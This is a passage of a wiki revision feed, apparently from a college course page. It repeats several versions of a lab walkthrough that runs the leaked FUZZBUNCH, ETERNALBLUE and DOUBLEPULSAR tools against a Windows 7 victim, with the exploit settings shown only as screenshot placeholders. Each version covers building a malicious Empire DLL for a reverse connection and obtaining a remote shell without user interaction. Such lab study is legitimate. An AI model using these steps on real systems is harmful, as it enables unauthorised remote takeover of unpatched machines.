Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Getting Empire session ===&lt;br /&gt;
&lt;br /&gt;
[[File:Capture15.PNG]]&lt;br /&gt;
&lt;br /&gt;
Interact with victim&lt;br /&gt;
&lt;br /&gt;
[[File:Capture16.PNG]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;WE WIN!!!!!!&#039;&#039;&#039;&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finally, we’ve obtained a Meterpreter shell on a Windows 7 SP1 x64 without needing for user&lt;br /&gt;
interaction, just with knowing its IP.&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120732</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120732"/>
		<updated>2017-04-30T17:07:07Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Getting Empire session */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Getting Empire session ===&lt;br /&gt;
&lt;br /&gt;
[[File:Capture15.PNG]]&lt;br /&gt;
&lt;br /&gt;
Interact with victim&lt;br /&gt;
&lt;br /&gt;
[[File:Capture16.PNG]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;WE WIN!!!!!!&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120731</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120731"/>
		<updated>2017-04-30T17:07:00Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Getting Empire session */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Getting Empire session ===&lt;br /&gt;
&lt;br /&gt;
[[File:Capture15.PNG]]&lt;br /&gt;
&lt;br /&gt;
Interact with victim&lt;br /&gt;
&lt;br /&gt;
[[File:Capture16.PNG]]&lt;br /&gt;
&lt;br /&gt;
WE WIN!!!!!!&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120730</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120730"/>
		<updated>2017-04-30T17:06:42Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Creating listener and malicious DLL with Empire */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
